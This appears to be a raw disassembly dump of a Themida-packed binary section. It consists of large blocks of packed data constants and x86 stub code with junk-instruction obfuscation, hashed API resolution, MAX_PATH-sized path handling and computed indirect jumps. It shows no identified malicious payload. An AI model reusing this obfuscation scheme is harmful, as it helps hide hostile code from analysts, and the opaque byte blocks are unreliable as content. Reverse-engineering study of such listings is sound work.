dd 5A5E97E9h, 0EA3C8156h, 0A3F5C40Dh, 5BAD12C6h, 1163587Eh
dd 91777D05h, 0A5580C3Dh, 4F1743AAh, 0F1E86349h, 3B9A7751h
dd 0ACB7E67Eh, 0FAE0E627h, 8751F1E7h, 6AC26E51h, 38E47CA4h
dd 0CA12BE2Ch, 0EB2D26C4h, 2A729A57h, 0F345745Dh, 0B6FEBB16h
dd 0DF9906DFh, 74C14023h, 0C02A5962h, 529A46B4h, 0A41BBD8Ah
dd 0D3240E4Dh, 3E6DD4FFh, 0FF9263FAh, 69B1D95Dh, 0D002D9A1h
dd 1D59316Ch, 0AD5B41C7h, 476F5E20h, 0F5C40D18h, 0D4FECBA3h
dd 24ADB8E7h, 0FADCE995h, 953CCA0Ch, 88E08C24h, 739E12F0h
dd 0CDB73890h, 969BFh, 0C3FCE000h, 7E3F9471h, 38834F2Ch
dd 0EDCC09E6h, 0A419BE9Bh, 119F1952h, 0C8A5F7C6h, 815EB009h
dd 39166857h, 0C0CC1E9Dh, 3E4C3238h, 6560580Ch, 6E6CB0FEh
dd 0D351F1E8h, 3F9CA67Dh, 0BA66597Fh, 8D040B62h, 672375A4h
dd 8FEF5D77h, 0F23BA389h, 0F9DAB751h, 4C942CC4h, 0E55AAF46h
dd 0B5FD2557h, 51B720EDh, 6F9E3685h, 0FB4D6E64h, 0C50DB11Fh
dd 32DEDFF8h, 9FA5ABDAh, 5DFB2413h, 26F33B63h, 0DCB90BB0h
dd 0D7E3C1FAh, 9238941Dh, 8D89AA8h, 6B710000h, 0AE250254h
dd 0F2E0BD0Fh, 3B9A77C9h, 884F2C7Eh, 0EAAE335h, 368835A2h
dd 0EF417859h, 0A7F9C612h, 5DAF0CCAh, 0DDC3C951h, 0F1580C3Eh
dd 0F7D98FF6h, 8151F1E7h, 9926B8AAh, 204F9151h, 0A8FAC115h
dd 6AB25ECCh, 273FC693h, 3A691C4Bh, 4FC32E34h, 0A9D157E6h
dd 0AD939961h, 0C1580730h, 82B4A1DAh, 13ABF61Fh, 7DAC11C6h
dd 0DC2EAA77h, 7278C0F9h, 5807188Ch, 8EE078A0h, 509827B1h
dd 3D6C4F83h, 850C5D3h, 26FD0000h, 0E754FEFFh, 71588783h
dd 34894A17h, 2C8DFB05h, 44755CAAh, 0FCA84098h, 0EDC40CA4h
dd 0D1E74AFAh, 3A406FE4h, 0E537E934h, 478FB757h, 57478E70h
dd 1F4E4ED6h, 0DFE5ADB5h, 58068CF9h, 0A506260Dh, 0D18F53DBh
dd 6FB4E239h, 0BC552495h, 7467498Dh, 0E6EC5806h, 0BB1C29D5h
dd 1C405602h, 92B47B7Eh, 658ADBF0h, 0CD4F8D9h, 6802006h
dd 484D3458h, 27EB1939h, 0D83E6D05h, 182h, 0F9C612EFh
dd 6991404Dh, 0D8F98312h, 9D898AE1h, 0D8E59129h, 92400DFEh
dd 62BDA329h, 0F9D151F2h, 0F2630DF3h, 61F92151h, 0C8101DC9h
dd 10C8A5F7h, 33FB03AFh, 0F263472Dh, 0EB335B51h, 0F262FFE5h
dd 0BCEB1351h, 4F9747B2h, 0F2631B49h, 5F652D51h, 51F26479h
dd 43EFCC06h, 0B0FD25EBh, 94EC9821h, 0DB9E165h, 39E5D600h
dd 6814A52Ch, 3DCC8EF2h, 0F2645137h, 0A53D6551h, 182C6E10h
dd 0D0ADFFC0h, 0A26FB708h, 0F05A8936h, 0F264C0AAh, 3F5BFD51h
dd 7E50330Ah, 7D056311h, 2A95434Eh, 0FEBD15E2h, 0BBCBFA52h
dd 82CA74DFh, 0F2C17E7Ch, 0DE8AB251h, 67B900D1h, 0C672478Ah
dd 0AF0F6BEh, 1E51F2C2h, 1ABCC7F6h, 0C205EBF1h, 0F11951F2h
dd 0B658AD59h, 48716094h, 1B819F6h, 5EBF1B9h, 1951F2C2h
dd 4C58C2F1h, 1DEA32DEh, 0CED403BAh, 21983906h, 0E32BAEF2h
dd 517957E5h, 0AAF22FFh, 82E7525Eh, 67BF6B50h, 0F2BF87CFh
dd 0D62EDADFh, 0F6F0EF7Fh, 0C3B5D67h, 603CEC8h, 0AAB07858h
dd 580603C4h, 0FD81B0D8h, 0B71C29D5h, 8B4D5A06h, 7A808834h
dd 58060394h, 6ACE80A8h, 0DE34C928h, 42A1016h, 163E5806h
dd 3FF595E7h, 0F8D52792h, 2834E0D9h, 7A6066BAh, 7580604h
dd 0FD25EBCEh, 10171D65h, 665DF939h, 3D14EC3Eh, 4F2E5D53h
dd 99A4D3D2h, 572F8138h, 1CBB4D8Ah, 55D09A1h, 0B20DCBD6h
dd 0A513A760h, 0D0ABB1F9h, 3C57E5EDh, 0EE886E74h, 749C5805h
dd 0ED99C145h, 141AF3E0h, 5805EF2Eh, 0C7415B42h, 0B7542F20h
dd 7C35871Fh, 8B46AB13h, 0C8F7E12Eh, 0E42CC41Ch, 50FCBF17h
dd 942C8F43h, 0E860464Ch, 4C7451F1h, 8B6DB31Dh, 9651F1E8h
dd 0CF2F8C0h, 2051F1E8h, 0DB77C9F8h, 0EDF1A5C0h, 2C59FEh
dd 17700000h, 0E863494Fh, 4F7751F1h, 0FFBE1520h, 0D0EDEAB7h
dd 0BF137A1h, 5051F1E8h, 7B58ECAEh, 0B4DAF042h, 7651F10Ch
dd 0FFFF9B28h, 0C4127FFFh, 0F4E2AFF7h, 94C31BC7h, 13CAB3ADh
dd 7D834BABh, 51F1E797h, 17FD83ABh, 0A451F1E8h, 87DF8B34h
dd 874C99C1h, 9A328A36h, 0B1540D71h, 1EDE5C4h, 4F5Ah, 0AB137100h
dd 1117D2FBh, 51F1E82Bh, 17EE173Fh, 9968C840h, 9FD7381Ah
dd 0A54B56BDh, 1A204FE7h, 494F1771h, 51F1E863h, 15204F77h
dd 0E0B7FFBEh, 7F56F17Bh, 0D711E33Ah, 4BE3D8FAh, 6910351Ch
dd 7A8C4A17h, 20CC6459h, 248D99C8h, 0E4000000h, 0D2FBAB13h
dd 50824F17h, 12F83C6Bh, 3B51F1E8h, 4F17ACD5h, 7D2F6478h
dd 2D5C2944h, 0FCC11246h, 126910D3h, 474FFBC0h, 32615E7Ah
dd 0F1E808EEh, 0EFAB4D51h, 0EC3E7D55h, 0F1176DD6h, 8957A551h
dd 8FFFFFF3h, 0AC11C2h, 179279A8h, 0E863494Fh, 4F7751F1h
dd 0FFBE1520h, 0BB63D1ADh, 1BAE6D73h, 3C6457E5h, 0FB684A90h
dd 51735805h, 0DACB9A31h, 0CB93F8D9h, 602DFC5h, 9CCBF358h
dd 736h, 1114D00h, 68000000h, 203AA513h, 0E4CAD0A2h, 0F851F224h
dd 57D79D0h, 8E5BA33Bh, 73CB7744h, 0E9383E44h, 0BF57E619h
dd 0CE3EB97h, 16CC822Bh, 0EAA6F7A3h, 609BA7FEh, 0D4FF0A39h
dd 658197E9h, 535806E7h, 0BA6EA7Ch, 56853027h, 0EA328D4Bh
dd 4F55B41Dh, 5806F769h, 11BD557Dh, 9D7A8AB9h, 0D0D8843Bh
dd 0F8DD2F9h, 97DFF0C1h, 796AB91h, 6897BF58h, 0F5CB811Ch
dd 610DAE28h, 0E224B209h, 0D5AB7BC5h, 0FE3654A6h, 0B693E5DAh
dd 0CAEFE620h, 3A9C6732h, 0E6EBB681h, 0B81A27D3h, 3F235703h
dd 9AFE9E03h, 4D7249F8h, 52969E8Ah, 0E6F0FB2Ah, 0B13D34D5h
dd 0FF6DE5B4h, 914Ah, 0A8136100h, 4F17D5FEh, 0F1E86349h
dd 204F7751h, 0E831141Ah, 0EE5451F1h, 0CB6E17C5h, 0C412958Bh
dd 0CAB3CEF7h, 303CAB13h, 0C4DCB188h, 0D8BB44Ch, 0E5C4B154h
dd 305A01EDh, 71000000h, 0D2FBAB13h, 0E82B1117h, 173F51F1h
dd 176E17EEh, 0E863494Fh, 4F7751F1h, 0FFBE1520h, 0D4E9EAB7h
dd 4E83D028h, 10553C6Bh, 1D1169h, 13680000h, 17D2FBABh
dd 0F1E82B11h, 0C5EE5451h, 0C1126E17h, 4A10D3FCh, 0BB67567Dh
dd 174D3463h, 1308D4Ah, 0FFFF66F5h, 0C4124CFFh, 76434BF7h
dd 5CB4605Dh, 7B4222Dh, 3E15DDB5h, 85A36CDEh, 0B79D2308h
dd 0CB51F2BFh, 0FC6A74A3h, 1531DC95h, 3ED6ECDAh, 0C45DF0F6h
dd 0A3CB57E5h, 0BC18EFF7h, 0ED4755Ch, 77599DCCh, 825806CEh
dd 0BCA92260h, 42F8D907h, 2Dh, 0F9A51359h, 2E8ABB1h, 8EB657E5h
dd 2BA9CE2h, 0A3C55806h, 0D679ECE7h, 1DE5F8D9h, 60F3117h
dd 70684558h, 2288B74Fh, 0E8h, 0F7C41239h, 757B434Bh, 51F1E78Fh
dd 96B2BCA3h, 91191333h, 18BFCAF9h, 0EAECF9A5h, 501D25D1h
dd 7F8C3881h, 63BB6752h, 45919CCBh, 0BDDAC0C6h, 0C6EE51F2h
dd 0CB635A79h, 0FCCAA179h, 0C0A6AC94h, 0D451F25Bh, 27AF55ACh
dd 0C5714A8Ch, 62A6D56Dh, 51F1EC24h, 0E4368551h, 40ECCF07h
dd 0D21AC634h, 0E53E29CCh, 0E2D0B757h, 0E2BEC308h, 2A1B70Eh
dd 47A7FF40h, 13815DAFh, 0E14C236Bh, 0F83A8233h, 4B515786h
dd 5DFBB7C8h, 0DEA6EE16h, 972A1016h, 163E5E1Dh, 0C2FBDCE7h
dd 0BA449370h, 4312BA51h, 0E9C75FD8h, 389381DBh, 43AAB8A2h
dd 6000002h, 0BA97E9D6h, 7552A419h, 2F0C5E5Dh, 0E4C113A6h
dd 3F78CAF3h, 1DA03779h, 0D6E3EECBh, 8E31A784h, 44775F3Ch
dd 585EE6F2h, 580C4572h, 12248B86h, 0C9A6F8C5h, 0A35CAE0Dh
dd 0B1F9A513h, 0E502E8ABh, 0E28EB657h, 602BA9Ch, 0E7A3C558h
dd 5F017B52h, 0A3A503E0h, 6F5D0874h, 3401F8D9h, 156D19A2h
dd 0D880E6h, 12970000h, 3E4BF7C4h, 886E7499h, 9C51F1E8h
dd 0C794DC74h, 0AD05B10Ch, 90CE147Eh, 0BD51F1ECh, 7350A219h
dd 43105863h, 94FE2D90h, 0D8BEC48Ch, 0EC51F1ECh, 1D8B95C4h
dd 80232971h, 8C57E53Eh, 89469B5h, 7BAABF0Ah, 0A57DCFF7h
dd 6FF1D7DDh, 7D835806h, 58066F97h, 95BD83ABh, 83EE5C66h
dd 2586D167h, 9DE57DA9h, 0FB017397h, 93DB035Dh, 8BED11C6h
dd 67C568Ah, 0DB050635h, 31C9BE2Bh, 3DFDE3E9h, 0E9115E1Ch
dd 0B522FF51h, 0E2A42A08h, 3ED3894h, 145F5h, 0E7D80400h
dd 0A21BB895h, 5C5F7350h, 11A82D0Ah, 0C8F5E2BFh, 357B3D76h
dd 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h, 0E4F04279h, 4670565Ch
dd 8984580Ch, 43C51222h, 4A922A95h, 3261587Dh, 2A914522h
dd 40171FD8h, 5B6A0F99h, 0BDC8F739h, 0E9F6A219h, 0A47CCEEDh
dd 2FDC72CDh, 98C7A259h, 2870208Eh, 0E5448B22h, 91D90157h
dd 0E6D7FCC9h, 0A8BE23Ah, 0AD82EB65h, 0EEE8F322h, 389E7BCDh
dd 1AE7CDD3h, 23FB5806h, 61B371Dh, 8B234B58h, 0DDE3ABF3h
dd 58061AF7h, 1A9D8389h, 89B15806h, 26C9BC3h, 90D888F6h
dd 0FF5F048Ah, 5230585Dh, 3890C286h, 8F27351Fh, 0BA000000h
dd 6E4B9D22h, 29065865h, 0E3C012A9h, 9875C7F2h, 0F32C7E3Fh
dd 0D1ECEBC5h, 8A2FA27Fh, 427D5B38h, 0F8C313F0h, 0C129AA6h
dd 580C4726h, 13D83F3Ah, 0ABB1F9A5h, 57EB2C29h, 0EAB26F3h
dd 87335BDFh, 0D5F5C7Ah, 81676D35h, 95580C2Bh, 0A3333E6Dh
dd 0E9266C18h, 0AB157D9Eh, 0E5F10B47h, 16C18ED6h, 74A3FBA7h
dd 6C4F8764h, 9722B3C0h, 56F496EBh, 3183389Eh, 76478C59h
dd 219A3C47h, 32966D75h, 92C3EF0Ch, 3A6B2E1h, 0FD000000h
dd 0CA127DE4h, 9A3C49F5h, 70687521h, 3B96A34Fh, 12C5D27Eh
dd 0E5F2FFABh, 0B61F2CD8h, 884A5703h, 597A8733h
db 64h, 0B8h, 33h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push 0CE3h
mov [esp], eax
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebp
push edx
push 70E37880h
pop edx
and edx, 36BA4DF4h
add edx, 0D577FD52h
mov eax, edx
pop edx
push 2EE2h
mov [esp], esp
add dword ptr [esp], 4
pop ebp
sub esp, 4
mov [esp], eax
pop dword ptr [ebp+8]
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5509FF
; ---------------------------------------------------------------------------
push ebx
mov eax, 61A605Ch
add eax, ebp
push eax
mov byte ptr [ebp+6141A59h], 47h
push 0CF381725h
push dword ptr [ebp+6141145h]
lea eax, [ebp+6143B13h]
call eax
mov ebx, eax
lea eax, [ebp+6141DB5h]
push eax
push 104h
call ebx
mov byte ptr [ebp+6141A59h], 53h
push 8307F8BFh
push dword ptr [ebp+6141145h]
lea eax, [ebp+6143B13h]
call eax
mov [ebp+61A43A4h], eax
cmp dword ptr [ebp+6142309h], 0
jz loc_5AED34
mov ebx, [ebp+61410C1h]
jmp loc_5AED39
; ---------------------------------------------------------------------------
loc_5AED34: ; CODE XREF: Themida_:005AED23j
mov ebx, 0
loc_5AED39: ; CODE XREF: Themida_:005AED2Fj
push 100h
lea esi, [ebp+61A43A8h]
push esi
push ebx
call dword ptr [ebp+6140625h]
lea esi, [ebp+61A43A8h]
add esi, eax
jmp loc_5AED5A
; ---------------------------------------------------------------------------
loc_5AED59: ; CODE XREF: Themida_:005AED66j
dec esi
loc_5AED5A: ; CODE XREF: Themida_:005AED54j
cmp byte ptr [esi], 5Ch
jz loc_5AED6C
cmp byte ptr [esi], 2Fh
jnz loc_5AED59
loc_5AED6C: ; CODE XREF: Themida_:005AED5Dj
mov byte ptr [esi], 0
lea eax, [ebp+61A43A8h]
push eax
call dword ptr [ebp+61A43A4h]
pop eax
jmp eax
; ---------------------------------------------------------------------------
db 0BCh
dd 20659C5h, 0C67A5EEFh, 101D1539h, 0AE2BF3DBh, 0EF4A6CC7h
dd 840B7C6Ch, 844A2922h, 7B6C84C1h, 0E81A653Eh, 5, 78376319h
dd 816657E1h, 5808E3E3h, 0FBB70F5Eh, 6E0EC681h, 0B8660000h
dd 5E683425h, 0BF00001Bh, 533F0D67h, 28F0F59h, 8B000000h
dd 66168BDFh, 9959DF81h, 3BC2EA81h, 73BF7710h, 810239F3h
dd 886857F2h, 4B36B877h, 0EA814B18h, 13D50BD5h, 0B70F1689h
dd 0CAEE81D8h, 8123F780h, 0F780C6C6h, 0E983F823h, 20850F01h
dd 0E9000000h, 7, 0A0377BAAh, 0E941B011h, 1Eh, 817BCC00h
dd 0AEF9BCADh, 5C03A336h, 0E91E9B98h, 0FFFFFF9Dh, 88CEDF62h
dd 97041AE4h, 8D8D0BBCh, 61A6318h, 6398529h, 8D890614h
dd 6143229h, 31D5BD8Bh, 85C70614h, 614064Dh, 70D4h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0E2C35040h, 8988BA2Eh
dd 142B0D8Dh, 7185C706h, 61426h, 8B000000h, 1B5FFC6h, 6A061416h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 59BFC355h, 1125E359h, 0A3882343h, 2675958Bh
dd 95FF0614h, 6142361h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 0E7C35040h, 9D29DEB9h, 6140F79h, 95FF006Ah
dd 6141169h, 3EEBC08Bh, 0B31CF4D4h, 1490230Bh, 77FAAFD3h
dd 0F6950D6Eh, 0B08D0816h, 0C046032Dh, 0CBE3D7C2h, 0CF28DCA9h
dd 0DC19B30Ah, 0A7D3CC78h, 0BDD6AF5Fh, 88E06071h, 0A90FC3F6h
dd 0C1E2A608h, 0B763997Eh, 6E83B49h, 3D000000h, 0D4B504F0h
dd 0E4F0816Bh, 5E2226C2h, 262D9D89h, 0C6810614h, 67A3h
dd 33C2BF0Fh, 3334FFDBh, 1E8A0Fh, 12E80000h
db 3 dup(0)
byte_5AEF6B db 9 ; DATA XREF: Themida_:00549AFCo
dd 0C1AE4AB8h, 6C407212h, 567C11Dh, 21A476D1h, 0F9B531AAh
dd 5806142Ah, 6860F59h, 23000000h, 14346585h, 0FCF18106h
dd 895DCB3Eh, 140F1D85h, 0FEF18106h, 0E965B253h, 6, 0C524DB26h
dd 0E981294Ah, 1E020F7Ch, 2E8D858Bh, 0C890614h, 68D0811Eh
dd 893ED791h, 142D2985h, 6FEB8106h, 8B3CB07Dh, 140E1185h
dd 6BC38106h, 663CB07Dh, 2E8DA81h, 990CFB81h, 850FFFFFh
dd 0FFFFFF71h, 0A499D89h, 14E80614h, 4000000h, 4557F24Ah
dd 0C62586A9h, 0C4E7F331h, 65A665D7h, 0E9B981CFh, 0Ch
dd 0EC09D96Dh, 74251C06h, 9BBC073Ch, 68E0F59h, 8B000000h
dd 141CFD9Dh, 0F4C18106h, 0E900006Eh, 7, 0C83402EAh, 68E5B0B5h
dd 1B97h, 0A1858Bh, 8B5F0614h, 14322D95h, 8B318B06h, 18C681D9h
dd 8138F028h, 5AE92AD8h, 80C68118h, 8B4BA701h, 7DC681DEh
dd 0F4D0AC4h, 683h, 919D8B00h, 89061423h, 8ABB6631h, 4E983E0h
dd 0A51B589h, 0EF810614h, 1, 0FFBB850Fh, 0E9F8FFFFh, 8
dd 12FF1F1Ch, 0
; ---------------------------------------------------------------------------
jmp loc_5AF539
; ---------------------------------------------------------------------------
db 0D8h, 4, 0BBh
dd 76478C69h, 308B4724h, 0E5D401DEh, 9C21B693h, 9A7114Ah
dd 0C09DEFCEh, 7956A811h, 310E605Fh, 0B8C416A5h, 4C442A30h
dd 5D58580Ch, 884A17F6h, 0CD655A7Eh, 8F9AC921h, 0BBC87447h
dd 8259A11Ch, 12CB983Eh, 7383B280h, 0CF7B4096h, 13F9FFC7h
dd 2751F247h, 11C5D0FFh, 2EDAE1F5h, 7D90A417h, 14AC7014h
dd 4CBDB5BDh, 32CA126Ah, 0A45A7986h, 3CB3A752h, 28D46C3Bh
dd 0F80C4EB2h, 0AE8BDDDEh, 804D952Ah, 60B86455h, 5CD2BD09h
dd 588739E7h, 2FA37048h, 5988E08Ch, 89358A4Eh, 0B864557Ch
dd 91400D63h, 0F5247C28h, 8B4DE7A3h, 0D105E234h, 0D5A2EAh
dd 0DA208AB9h, 51F29FF7h, 0A8235F73h, 0FEED39BDh, 0EDD3D9A1h
dd 151F2ABh, 3944AAD9h, 5B000000h, 4BF7C412h, 0F1E82105h
dd 0CF8B9F51h, 0EDF191D4h, 16DFEh, 12840000h, 4350FCC1h
dd 74812D90h, 36AC5861h, 577CB0D2h, 9F371466h, 0E4FDD41Ch
dd 0A30EFDBCh, 9A536392h, 4CF8C512h, 7D29943Fh, 51EBA70Bh
dd 8E53786h, 3441EDCEh, 0EA711D9Eh, 64118AC8h, 0BAFEEDEFh
dd 83h, 0F8C512D1h, 6177444Ch, 0E18D2CA9h, 0ED45F189h
dd 0E71FB3BEh, 0C921CDF0h, 0F70F8531h, 0E843292Fh, 0FAC651F1h
dd 97609758h, 6392BA80h, 1CBB7111h, 8B9159A1h, 51F22FA5h
dd 2F3A91B9h, 0AE76CCDBh, 0BA97A7D6h, 0E7F4A01Dh, 0FBC016EEh
dd 0FA9227AEh, 0E5A5C74Eh, 0EDB587EEh, 4F97FEh, 12AE0000h
dd 0E3B0F8C5h, 0C820CCEFh, 305F5A7Bh, 0A01FB9C6h, 0BEDCC0F4h
dd 0A51ABE8Bh, 8254A1F9h, 0D8FF0A39h, 12DA93E5h, 0A50FCC1h
dd 51F1E827h, 0E69227AEh, 14C0FFD9h, 0BD7D1DBFh, 69CE5733h
dd 961F9E8h, 273E55F5h, 0D7FEEDEAh, 1, 0FBC012EEh, 5B7A474Fh
dd 0E7C2A8AEh, 0AED651F1h, 0E3126A16h, 0CF08FED8h, 0E852383Eh
dd 3E6651F1h, 0D620EA6h, 0BD152F6Bh, 62D0ACFEh, 0E6AE76BEh
dd 0F1E7FAE0h, 0A5310E51h, 0B4F7E16h, 57E502F4h, 8E96426Ah
dd 2DAC0C6h, 0C6EE5806h, 714A8C97h, 2794421Fh, 0F9C612DFh
dd 8B5860CAh, 0B7C4704Bh, 98F09C1Fh, 0A98DD100h, 0B580602h
dd 8A2FA673h, 0B706D1DEh, 0EC1BB30Bh, 7C49F89Ah, 2A356455h
dd 407D5AACh, 5D7956A8h, 0AA165B9Fh, 89214681h, 0B506D0DDh
dd 17339709h, 0FAC115E2h, 0A516C0CBh, 0CF501553h, 1AEF8D9h
dd 0C5000001h, 0B1F9A513h, 20D21DAh, 60B7B0EBh, 82CDB6F4h
dd 0E9EF1E58h, 0E5B5ACE3h, 8E3A6257h, 14665581h, 701C9F37h
dd 9C487363h, 7084C62Ah, 0C5035566h, 0F8D923A0h, 0AF0F6BEh
dd 1E5806C2h, 4061C7F6h, 78000000h, 0B0F8A613h, 0F1E7E4AAh
dd 686936D1h, 0ECCD0451h, 651139BDh, 0F1E8391Fh, 0F999BDD1h
dd 0AA5A7B48h, 8FE79328h, 0C4F34BF7h, 5DA54DBAh, 0F1E89157h
dd 0F53D6551h, 0E211AA28h, 7EF4D2h, 134B0000h, 0ABB1F9A5h
dd 57E510F0h, 0BDCA769Eh, 835AA219h, 4CA57A44h, 161C648Ch
dd 58064330h, 0DDED1C44h, 39E5D600h, 64412F3h, 0C88A6E58h
dd 0C719A234h, 89D17DEBh, 0E5F016BCh, 38D028D4h, 69547F8Ch
dd 9ECD65BDh, 0A8E79298h, 4D755DFFh, 794294A1h, 0B4D678CDh
dd 1FB61381h, 0F2E1EE9Ah, 539B33CBh, 0A613BE8Bh, 0D883377h
dd 3916641Ah, 1E762299h, 855C3486h, 65B7EA5Ah, 0A58CBB0Ah
dd 0B1F9A513h, 0EB4D00ABh, 0BA668E57h, 409229ADh, 9C487363h
dd 0AEE1FD56h, 0F793F74Ah, 0DA22993Dh, 0F05D0703h, 0D028D4E5h
dd 13939579h, 0DFF7D4E4h, 0B22330DCh, 64065B07h, 3EC80E26h
dd 55646D97h, 0F6D325BDh, 0C693DBE0h, 0DFDAF711h, 14439B47h
dd 39CAAh, 0E4F30000h, 0F5CA127Dh, 219A3C49h, 4F706875h
dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h
dd 64597A87h
db 0B8h, 33h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5AF4AE proc near ; DATA XREF: Themida_:0054AC88o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005509FF SIZE 00000053 BYTES
; FUNCTION CHUNK AT 00559D10 SIZE 00000009 BYTES
push ebp
mov ebp, esp
push edx
mov edx, 4
add ebp, edx
pop edx
sub ebp, 4
xchg ebp, [esp+0]
pop esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+0]
pop esp
mov [esp+0], ebx
push 6D84h
mov [esp+0], edi
push ecx
push esi
mov esi, 25DD6C16h
mov ecx, 5E4A79EDh
sub ecx, esi
pop esi
mov ebx, 3E776911h
xor ebx, ecx
pop ecx
push esp
mov edi, [esp+4+var_4]
add esp, 4
push 3912h
mov [esp+4+var_4], esi
mov esi, ebx
mov [edi+8], esi
pop esi
mov edi, [esp+0]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+4+var_4]
pop esp
mov ebx, [esp+0]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+4+var_4]
pop esp
jmp loc_5509FF
sub_5AF4AE endp
; ---------------------------------------------------------------------------
fsub qword ptr [esp+esi*8]
loc_5AF539: ; CODE XREF: Themida_:005AF0A0j
mov eax, 61A68CFh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 0AB6Dh
dd 0B1D14469h, 0A2AE6A66h, 1D9E088Ah, 0C89B0BC2h, 0FED4374Bh
dd 8D8D7C4Fh, 61A6A75h, 20A99D09h, 8D890614h, 6143229h
dd 7B3CB866h, 0DE9h, 93D69D00h, 6B69A79h, 3F72CB36h, 85C7B45Ch
dd 614064Dh, 69CCh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 55C35141h, 18313D48h, 7185C724h, 61426h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 0DBA4C355h, 5EBB412h, 0E1B5FF9Dh
dd 6A061402h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 8185C351h, 3414B397h, 0FE8B52EAh
dd 0FFF28B5Eh, 14236195h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 794527D0h
dd 97786D54h, 13E8h, 0F89E4D00h, 8901E160h, 0BDDC0C76h
dd 0D8BFB08Fh, 0EC7A0B3Ch, 5FFE8A57h, 0FF006A58h, 14116995h
dd 0EBC08B06h, 6DDC91Dh, 2F46E8E3h, 8FB77926h, 0D715E72Ah
dd 0B1104F0Ch, 0FDC75646h, 9A87AC51h, 34E9FB74h, 58000000h
dd 93568067h, 9DE61D8Ch, 6E2E81E8h, 6C6C6474h, 6C6C642Eh
dd 0BD146700h, 0B98003B2h, 0FEh, 4 dup(0)
dd 0E9000000h, 6EDh, 1A6C6A68h, 1341E906h, 1268FFFAh, 0E9061A6Dh
dd 0FFFA1337h, 1A6DC068h, 132DE906h, 7868FFFAh, 0E9061A6Eh
dd 0FFFA1323h, 1A6FA268h, 1319E906h, 7E68FFFAh, 0E9061A70h
dd 0FFFA130Fh, 0B406B923h, 6FC1FCD7h, 297B4092h, 0DE30894Ch
dd 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h, 5A7C59ABh
dd 7B030F61h, 0C528F75h, 41A8A358h, 1A11h, 0C4126800h
dd 983E4BF7h, 0C90EDB23h, 0C1F048F4h, 0E7B99BB1h, 9A3E51F1h
dd 131AD325h, 2E8F44A5h, 4A922A82h, 0CEB4BA82h, 0E251F1E7h
dd 55EDCC05h, 41A6A0FEh, 3D6C7ADCh, 0E5E8F6F9h, 0DDF5C257h
dd 4DC2F41Fh, 942CF1B4h, 0A31FD1E8h, 0C6066ACAh, 537BFF2Eh
dd 573D430Bh, 0E45806C9h, 0DB03C9F2h, 723A42ACh, 6C9866Ch
dd 2C121858h, 405806CAh, 0E22A5218h, 6C9F6DCh, 0B3E20A58h
dd 6C98D6Fh, 0D4769858h, 90795825h, 6C9A48Ah, 0F890B858h
dd 0E6B354Ch, 0ED5BD506h, 21070D55h, 3558060Eh, 0F372DE0Dh
dd 0BF8D9CBh, 21Ch, 0D372D122h, 0A971B965h, 0F15F6DCh
dd 51F1E829h, 4E7D153Dh, 0E501BF0Ah, 7A340B57h, 6FBCEBB4h
dd 81A92D5Ch, 96B98CE0h, 58259BF2h, 39913D7Eh, 0EE92000Ah
dd 0C29DA0A6h, 9C692227h, 7FD7833Ch, 2702128h, 0C9F8A5A8h
dd 8D51D45h, 55BFEECFh, 0EB33DB49h, 3CAD18E5h, 0DE03EA28h
dd 0CC8F2F34h, 0AF10C815h, 0D402CF17h, 1EB895E7h, 4A26BF9Dh
dd 0AF996E52h, 4BBA1h, 5F607C00h, 1AA3300Dh, 0D4E7EBC8h
dd 8930A582h, 407D5A37h, 0AD03B5EEh, 6441932Ah, 1DFA4C6Dh
dd 0D5B204BBh, 5C68BA01h, 53E8CED4h, 1FC580Ch, 0F7C4129Ah
dd 2DD13F4Bh, 908DFE5h, 0D6FE57E5h, 0F8DFAC84h, 92C119C5h
dd 0DA48E746h, 0B221EE36h, 0A217BE0Bh, 1C676D73h, 0EA5DF923h
dd 0E5B27AC2h, 0C61ECAF1h, 1A245A40h, 17466E5Eh, 3D5A2B8h
dd 89B810BCh, 97DEB845h, 6A1684D4h, 0A191C22h, 3F67FCABh
dd 75198793h, 6B5A272Dh, 42C02C0h, 0D6E9EFBCh, 2D4A1A7h
dd 4C8A67B9h, 0DA5E916Fh, 8B7593CDh, 4137Dh, 7B82400h
dd 0C2FBD8B5h, 7C3F9370h, 31884D2Ah, 0E8D502DFh, 555B5D96h
dd 0CE93B82h, 0C5A2F4C5h, 7D5AAC13h, 4106259h, 5490767Ch
dd 0A9A4580Ch, 874A1742h, 0DEF80332h, 0E841272Dh, 2D5551F1h
dd 14E1E995h, 5E444AC3h, 7251F1E8h, 7983B24Ah, 151B630Bh
dd 57E5EB82h, 8B32A16Eh, 0D45887DFh, 227FBFEDh, 26BE4922h
dd 0E68AF8D4h, 88FE989Eh, 426A5DFFh, 12A92DFAh, 0C8F3E3C0h
dd 0CCB2B880h, 0E05E2067h, 171F89B8h, 6863494Fh, 4F775E20h
dd 0AB2A4AF8h, 1847E7A9h, 0A8F0A00Eh, 134333A2h, 43214964h
dd 327D01B6h, 65394731h, 0D2000003h, 8663B50Ah, 411E704Dh
